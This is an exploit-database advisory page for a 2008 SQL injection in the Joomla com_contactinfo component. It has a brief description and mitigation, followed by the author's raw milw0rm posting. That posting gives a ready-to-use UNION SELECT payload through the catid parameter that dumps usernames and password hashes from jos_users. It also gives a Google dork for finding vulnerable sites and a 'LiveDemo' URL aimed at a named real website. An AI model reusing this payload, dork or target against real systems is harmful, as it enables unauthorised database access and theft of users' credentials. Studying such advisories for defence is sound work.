Joomla com_contactinfo(catid) SQL-injection vulnerability

vendor:

com_contactinfo

by:

boom3rang

7.5

CVSS

HIGH

SQL-injection

CWE

Product Name: com_contactinfo

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Joomla com_contactinfo(catid) SQL-injection vulnerability

A vulnerability exists in Joomla's com_contactinfo module, which allows an attacker to inject arbitrary SQL commands. This is done by manipulating the 'catid' parameter in a malicious SQL query. An attacker can exploit this vulnerability to gain access to sensitive information such as usernames and passwords.

Mitigation:

Ensure that user-supplied input is properly validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

###########################################################
Joomla com_contactinfo(catid) SQL-injection vulnerability
###########################################################

###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.

#[!] Module_Name:  com_contactinfo
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_contactinfo"
##################################################


#[~] Example:                  
http://localhost/Path/index.php?option=com_contactinfo&catid=[exploit]

#[~] Exploit: 
-9999/**/UNION/**/SELECT/**/1,2,concat(username,char(58),password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*

#[~] LiveDemo:
http://www.planetacentr.ru/index.php?option=com_contactinfo&catid=-9999/**/UNION/**/SELECT/**/1,2,concat(username,char(58),password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-11-11]